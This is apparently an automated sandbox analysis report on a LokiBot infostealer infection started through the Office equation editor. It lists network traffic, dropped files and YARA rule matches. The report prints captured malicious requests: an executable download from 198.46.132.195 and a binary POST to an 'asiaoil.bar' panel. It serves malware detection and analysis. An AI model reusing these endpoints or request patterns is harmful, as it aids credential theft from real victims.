Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4ZOuSqnAuokRLt6j%2BaPucUYURpspSs5959QwqxEaaI65vhxihU%2BSGTldehqd66BkHEec1wRdP8eKXsiuAfROg4bLz4JgpMIkfQ1aSuC9Jn%2BKCRCMyVVG8exy0%2Ffc7A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447528eb59094-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jDOcGscIXoe9amgDgblodsrhn0vmrU90jrXpu8eubmt%2FtVJmc0fEBfOASTLuxQbUt3Vyn6AzRV98aodD8X4wZ0aRqf1etGTdsv2KXeP8MDKpOfZ2KmYTIdqKCEQiTg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4475c4e69691b-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2nROjTYrKHq5Dp3zfqoq%2BF08OA0sabm52jF3F7aFN8zXdi%2BsX6Cq%2F1PGMTUNOdZpDBwGOKpy%2F6346z2Ex7OMyy0ds2Scyrm%2B5L4uaz1G2nfp7WA5GPCq2oiQAJpM6A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44762ced16963-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d88FAJAIS01MD7fqAfBFKZ2BhmJxCoOv1Hl6%2FrHHy0nAp1VZ0UmTp2mncxvNOP61QK0xudgAXXNSW%2FHEuL5DLwigS1D%2BHfHJsx5oxzhN7qOtYp8JjADI7dRG6jZTLw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447690f816969-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y4ckWSdyfKKgK%2FaSnEtfcnQkctDbfArW85YmMzuF2GYtn1Vk9z3zezqrAQm97NN4dlNgg4mlDR6cFowQrcAInwiWKaPPKhv22VNGu%2Fi7%2FjbZEoNLKbqtK0TOhixPTw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4476f3c7c9072-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mk%2F%2ByckUn75h6rICqGx9cpJuG7dAjWTNBLmPAr%2FZWuFMh6m%2Fl%2FaMElHYxT54c74Wcf%2BgX9vcoEDADUlGA5wqWcrwO%2B3jiZphR9HdBO0OgJ1mWc%2FTatA77PboqFA%2F%2BA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447759aa39113-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lkoFlBzh%2FTvOS8G5hZ5h6dPK6YATM%2FnTao2RMMscPCKdFKdF3yBO98Mj55rUC%2BFjMzMKlTeqOz7aj%2Fqw04UBHUPGJ1ayR49HyEd8ogh8KcYhkHXG20zdKy28pHBuBA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4477c0a09694f-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6IjZw4UIYZGNBtRkEhw0RzPzggwNQkdD8cEShbMPEDVfqNl1bXjX9XB1t94CL9pCK1%2FBnfmx78Swjpa1RBrVYoWA186HoyYm1jceSa4D8bUv8CTvYDnbykWZ8ANQ%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447827e0d5b92-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.132.195

Source: vbc.exe, vbc.exe, 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000000.452029619.0000000000409000.00000008.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, .win32[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: vbc.exe, 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000000.452029619.0000000000409000.00000008.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, .win32[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: xmtxpy.exe, xmtxpy.exe, 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, xmtxpy.exe, 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/

Source: unknown

HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 176Connection: close

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4AB951BC.emf

Jump to behavior

Source: unknown

DNS traffic detected: queries for: asiaoil.bar

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 6_2_00404ED4 recv,

6_2_00404ED4

Source: global traffic

HTTP traffic detected: GET /windowSSH/.win32.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.132.195Connection: Keep-Alive

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404F61 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_00404F61

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.xmtxpy.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.xmtxpy.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe			Jump to dropped file

Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.xmtxpy.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.xmtxpy.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
